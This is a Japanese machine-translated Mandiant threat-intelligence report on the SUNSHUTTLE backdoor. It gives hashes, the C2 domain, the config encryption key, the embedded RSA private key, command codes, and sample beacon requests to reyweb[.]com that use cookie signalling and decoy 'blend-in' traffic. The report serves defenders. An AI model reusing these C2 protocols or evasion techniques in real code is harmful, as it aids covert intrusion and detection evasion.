要旨
- 2020年8月、米国拠点の組織が、SUNSHUTTLEとよばれる新しいバックドアをパブリックなマルウェア・リポジトリにアップロードしました。
- SUNSHUTTLEはGoLangで書かれた2段階バックドアであり、検知回避機能を備えているのが特徴です。
- MandiantはUNC2452の被害者のもとでSUNSHUTTLEを観察し、UNC2452と関連する指標もあったものの、関係性を完全に証明することはできませんでした。
- Technical Annex for relevant MITRE ATT&CK techniques (T1027, T1027.002, T1059.003, T1071.001, T1105, T1140, T1573.001) を参照してください。
このブログ投稿で記述されている活動は、Microsoft社のブログ投稿にも詳述されています。この攻撃者を追跡するにあたり、多大なご協力をいただいた、Microsoft社のチームやその他パートナーの皆様に感謝いたします。
脅威の詳細
Mandiantの脅威インテリジェンスは、米国を拠点とする組織がパブリックなマルウェア・リポジトリに2020年8月にアップロードした新しいバックドアを発見し、SUNSHUTTLEと命名しました。SUNSHUTTLEは、GOで記述されたバックドアで、埋め込みまたはローカルの構成ファイルを読み取り、HTTPS経由でC2サーバーと通信し、その構成のリモート更新、ファイルのアップロードとダウンロード、任意のコマンド実行などのコマンドをサポートします。特筆すべき点は、SUNSHUTTLEは値がC2を通過できるようにcookieのヘッダーを使用し、それが構成されると、ネットワーク・トラフィックを「ブレンド・イン」できるよう、よく閲覧されるWebサイトのURLのリストから参照元を選択できます。
- 検証したSUNSHUTTLEバックドア・ファイル“Lexicon.exe” (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)はGoLangで記述されています。ファイルはMD5: 86e89349fefcbdd9d2c80ca30fa85511へ解凍されました。
- SUNSHUTTLEは感染ベクターとして認知されていません。初期の干渉後に発生する2段階バックドアだと考えられます。
- SUNSHUTTLEのサンプルは攻撃者制御サーバー「reyweb[.]com」をC2用に使用しています。
- 「Reyweb[.]com」は、ビットコイン支払いに対応し、過去にはロシアやイランに関係する攻撃者やAPTグループを含む、国家の支援を受けたAPTグループのC2登録に使用されたこともあるNameSiloというドメイン・プロバイダ経由で秘密裏に登録されています。
MandiantはUNC2452の被害者のもとでSUNSHUTTLEを観察し、UNC2452と関連する指標もあったものの、関係性を完全に証明することはできませんでした。
UNC2452とSUNBURSTキャンペーンの背景についてはFireEyeのリソース・センターを参照してください。
見通しと影響
SUNSHUTTLEという新しいバックドアは洗練された2段階バックドアであり、C2通信への「ブレンド・イン」トラフィック性能を介して卓抜した検知回避機能を簡単に実行します。SUNSHUTTLEは他のSUNBURST関連ツールと並行してネットワーク調査を行うための第2段階のバックドアとして機能します。
技術付属書
Mandiantの脅威インテリジェンスは、オンライン・マルチウィルス対策スキャン・サービスにアップロードされたSUNSHUTTLEバックドアのサンプルを検出しました。SUNSHUTTLEは、GOで記述されたバックドアで、埋め込みまたはローカルの構成ファイルを読み取り、HTTPS経由でC2サーバーと通信し、その構成のリモート更新、ファイルのアップロードとダウンロード、任意のコマンド実行などのコマンドをサポートします。
- Lexicon.exe (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)
- C2: reyweb[.]com
- UNAVAILABLE (MD5: 86e89349fefcbdd9d2c80ca30fa85511)
- Unpacked version of 9466c865f7498a35e4e1a8f48ef1dffd
感染ベクター
分析されたサンプルの感染ベクターは不明です。
実行
実行の概要
SUNSHUTTLEはGoLangで書かれたバックドアです。SUNSHUTTLEが実行されると、以下の概要のような高レベルな実行がされます。
- 構成設定の決定
- C2に「セッション・キー」を要求します
- C2から「セッション・キー」を取得します
- セッション・キーが取得されると、SUNSHUTTLEはコマンド要求ビーコン・ループを開始します
- セッション・キーが取得されると、SUNSHUTTLEはコマンド要求ビーコン・ループを開始します
- コマンド要求ビーコンの開始
- コマンドの解決とアクションの実行
分析されたSUNSHUTTLEサンプルには、マルウェアによって使用されるルーチンの名前が保持されます。これには以下のものが含まれます。
main.request_session_key |
main.define_internal_settings |
main.send_file_part |
main.clean_file |
main.send_command_result |
main.retrieve_session_key |
main.save_internal_settings |
main.resolve_command |
main.write_file |
main.beaconing |
main.wget_file |
main.fileExists |
main.encrypt |
main.decrypt |
main.random |
main.removeBase64Padding |
main.addBase64Padding |
main.delete_empty |
main.Unpad |
main.GetMD5Hash |
main.Pad |
注記:SUNSHUTTLEバックドア全体で、独自の文字列IDはCookieのヘッダーを介してC2に対して実行されている処理を示すために使用され、独自の文字列IDはC2からの対応内容を検証および解析するためにも使用されます。これら独自の文字列値は、コンパイルされたサンプルごとに独自かつランダムであると考えられます。
初期実行
実行されると、SUNSHUTTLEバックドアは被害者のMACアドレスを列挙し、ハードコードされたMACアドレス値"c8:27:cc:c2:37:5a"と比較します。一致が見つかると、バックドアは終了します。MACアドレスは、Windowsサンドボックス・ネットワーク・アダプタのデフォルトのMACアドレスである可能性があります。
図1:Macアドレス・チェック
構成
確認が成功すると、SUNSHUTTLEバックドアは「main_define_internal_settings」という名前のルーチンを開始します。このルーチンは、SUNSHUTTLEが実行されているディレクトリに構成ファイルが存在しない場合に構成ファイルの作成を処理します。分析されたサンプルの構成ファイル名は「config.dat.tmp」です。構成データはBase64でエンコードされ、AES-256は次のキーを使用して暗号化されます。
hz8l2fnpvp71ujfy8rht6b0smouvp9k8
Base64がデコードされ、AESが復号化された場合、構成には次のような例の値があります。
48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V
ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w
構成には、"|"で区切られた複数の値が保持されます。以下簡単に説明します。
- 48b9e25491e088a35105274cae0b9e67
- 実行中に計算された現在のタイムスタンプのMD5ハッシュ。
- 実行中に計算された現在のタイムスタンプのMD5ハッシュ。
- 5-15
- SUNSHUTTLE実行時にランダムにスリープ時間を生成するために使用される下限/上限
- SUNSHUTTLE実行時にランダムにスリープ時間を生成するために使用される下限/上限
- 0
- 0または1-「ブレンド・イン」トラフィック要求を使用します。内部では「false_requesting」と呼ばれます。
- 0または1-「ブレンド・イン」トラフィック要求を使用します。内部では「false_requesting」と呼ばれます。
- 0
- 実行タイムスタンプの有効化(デフォルトでは0)-現在の時間が構成の値より大きい場合、実行は「有効化」されるか、続行されます。
- 実行タイムスタンプの有効化(デフォルトでは0)-現在の時間が構成の値より大きい場合、実行は「有効化」されるか、続行されます。
- TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2
8vMjAxMDAxMDEgRmlyZWZveC83NS4w- HTTPS要求で使用されるBase64でエンコードされたユーザー・エージェント
- デコード: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
- HTTPS要求で使用されるBase64でエンコードされたユーザー・エージェント
構成で設定されている場合、「ブレンドイン」トラフィックは、マルウェアの実行時に発生し、そのルーチンを介して移行します。「ブレンドイン」要求には、次のURLが利用されます。
- https://reyweb[.]com/icon.ico
- https://reyweb[.]com/icon.png
- https://reyweb[.]com/script.js
- https://reyweb[.]com/style.css
- https://reyweb[.]com/css/style.css
- https://reyweb[.]com/css/bootstrap.css
- https://reyweb[.]com/scripts/jquery.js
- https://reyweb[.]com/scripts/bootstrap.js
- https://cdn.mxpnl[.]com/
- https://cdn.google[.]com/
- https://cdn.jquery[.]com/
- https://code.jquery[.]com/
- https://cdn.cloudflare[.]com/
セッション・キー・メカニズム
SUNSHUTTLEは、セッション・キーとして内部で参照されているものを要求して取得するために、C2への初期要求を実行します。C2から取得されたセッション・キーは、SUNSHUTTLEに埋め込まれ、コンパイルされたサンプルごとに独自であると考えられる次の秘密キーを使用してRSA復号されたように見えます。分析では、復号化されたセッション・キーがどのように使用されているかを調査中ですが、SUNSHUTTLEがコマンドと制御のルーチンに移行した後に内容を暗号化するために使用されるセッション・キーである可能性が高くなります。
-----BEGIN PRIVATE KEY-----
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK
uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
-----END PRIVATE KEY---
設定が作成または読み込まれた後、SUNSHUTTLEは"main_request_session_key"という名前のルーチンを開始します。マルウェアは、成功するまでこのルーチンを反復処理し、反復処理のたびに一定時間スリープします。
"main_request_session_key"ルーチン内で、SUNSHUTTLEは設定されたC2へのHTTPS要求を構築します。要求にHTTP200が応答したとき、C2からの応答データには、分析されたサンプルについての以下のようなストリングが含まれないと予想されます。
- ywQdjLuHHC
request_session_keyルーチンは、文字列が対応しない場合は1を返し、対応する場合は-1を返します。request_session_keyの結果が1の場合、SUNSHUTTLEはretrieve_session_keyルーチンを実行します。
retrieve_session_keyルーチンは再びC2に接続し、前述の埋め込み秘密キーによって復号化されると予測される内容をダウンロードします。復号化されたコンテンツは、SUNSHUTTLEがそのコマンドおよび制御ルーチンに遷移したときにコンテンツを暗号化するために使用されるセッション・キーである可能性があります。
コマンド
セッション・キーがC2から取得されると、SUNSHUTTLEはビーコンを開始し、ループ内の「resolve_command」ルーチンを開始します。SUNSHUTTLEはまずビーコンを発行してコマンドを取得します。その後、SUNSHUTTLEはルーチン「resolve_command」に入ります。ルーチンは応答の内容を解析して、実行するコマンドを決定します。使用可能なコマンドには、その構成のリモート更新、ファイルのアップロードとダウンロード、任意のコマンド実行などがあります。
図2:Resolveコマンドのグラフ
「main_beaconing」ルーチンの後にC2から返される内容はBase64でデコードされ、AESで復号化されます。復号化されたコンテンツに次の文字列が含まれていないことを確認するチェックが実行されます。
- Cp5RTQ31R1
前述のように、これらの文字列はサンプルごとに独自であり、コンパイル時にランダムに生成される可能性があります。
復号化された内容は、特定の独自の文字列に対して解析されます。
Unique string in decrypted response |
Meaning |
zSsP2TSJJm3a |
Update sleep range — save config |
aQJmWJzXdYK721mGBI3U |
Update “false requesting” value – save config |
W5VYP9Iu2uyHK |
Update C2 URL and User-agent – save config |
3487wD9t2OZkvqdwRpqPeE |
Send current timestamp to C2 |
ubFxROBRwfswVRWNjLC |
Update "activation" timestamp in the config — save config |
TMuhGdA9EHY |
Upload file to C2 if the file exists |
1kG4NaRX83BCMgLo38Bjq |
Execute command – return “EXECED” if successful |
hB0upT6CUmdRaR2KVBvxrJ |
Execute command – return results/output |
N/A (other string criteria met) |
Provides terminal command execution |
N/A (other string criteria met) |
Download file from C2 |
ドロップされたファイル
マルウェアが正常に実行されると、被害者のシステムに次のファイルがドロップされます:
- <current_directory>\config.dat.tmp (MD5: Dynamic)
- 暗号化構成ファイル
- 暗号化構成ファイル
継続の手法
SUNSHUTTLEマルウェアは、独自の継続設定では監視されませんでした。SUNSHUTTLEの実行外に継続性が設定されている可能性があります。
ネットワーク・コミュケーション
SUNSHUTTLEは、Cookieのヘッダーを使用して値をC2に渡します。さらに、おそらくトラフィックが検査のために復号化されている場合にトラフィックをブレンドさせるために、参照元が次のリストから選択されます。
- www.bing.com
- www.yahoo.com
- www.google.com
- www.facebook.com
Cookieのヘッダーは、実行される操作によって若干異なります。以下は、"request_session_key"ルーチンからC2への要求の例です。
Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip
Cookieヘッダー内では、これらの値は以下を表します:
- HjELmFxKJc=48b9e25491e088a35105274cae0b9e67
- 構成内に含まれるタイムスタンプMD5
- 構成内に含まれるタイムスタンプMD5
- P5hCrabkKf=gZLXIeKI
- "P5hCrabkKf="には、どのルーチンが要求を実行しているかに基づく独自の文字列が含まれます(次の表を参照)。
- "P5hCrabkKf="には、どのルーチンが要求を実行しているかに基づく独自の文字列が含まれます(次の表を参照)。
- iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx
- 「i4zICToyI70Yeidf1f7rWjm5foKX2Usx」はSUNSHUTTLEバックドア内でハードコードされています。ペイロード識別子を表す可能性があります。
- 「i4zICToyI70Yeidf1f7rWjm5foKX2Usx」はSUNSHUTTLEバックドア内でハードコードされています。ペイロード識別子を表す可能性があります。
- b7XCoFSvs1YRW=78
- 目的不明。この値は、request_session_keyおよびretrieve_session_key要求にのみ含まれます。
- 目的不明。この値は、request_session_keyおよびretrieve_session_key要求にのみ含まれます。
前述のように、各要求に含まれているCookie値"P5hCrabkKf="は、実行されている操作を示しています。
“P5hCrabkKf=” Cookie Value |
Meaning |
gZLXIeK |
main_request_session_key |
do1KiqzhQ |
main_clean_file |
t5UITQ2PdFg5 |
main_wget_file |
cIHiqD5p4da6OeB |
main_retrieve_session_key |
xpjQVt3bJzWuv |
main_send_file_part |
S4rgG1WifHU |
main_send_command_result |
マルウェアのインストール/初期化が成功すると、TCP/443HTTPS経由でC2サーバーreyweb[.]comに以下のコールバックを行います。
Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip
Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.yahoo.com
Accept-Encoding: gzip
さらに、「fake_requesting」構成値が1に設定されている場合、SUNSHUTTLEは実際のトラフィックとブレンドするトラフィックを生成します。これらの要求の例は以下の通りです。
Victim to C2
GET /icon.png HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip
Victim to C2
GET /css/style.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip
Victim to C2
GET /css/bootstrap.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip
Victim to Legitimate
GET / HTTP/1.1
Host: cdn.cloudflare[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip
付録:MITRE ATT&CKフレームワーク
Technique |
Description |
T1027 |
Obfuscated Files or Information |
T1027.002 |
Software Packing |
T1059.003 |
Windows Command Shell |
T1071.001 |
Web Protocols |
T1105 |
Ingress Tool Transfer |
T1140 |
Deobfuscate/Decode Files or Information |
T1573.001 |
Symmetric Cryptography |
付録:技術の検出
FireEyeのセキュリティー・ソリューションは、Eメール、エンドポイント、およびネットワーク・レベルにわたるSUNSHUTTLE活動の検知を提供します。以下は、このブログ投稿で概説されている活動に関連する既存の検知のスナップショットです。
Platform(s) |
Detection Name |
|
|
Endpoint Security |
Malware Protection (AV/MG)
|
本ブログは機械翻訳(MT)を使用して翻訳しています。原文と翻訳版の意味、文言が異なる場合は原文を有効とします。
原文:March 04, 2021 「New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452」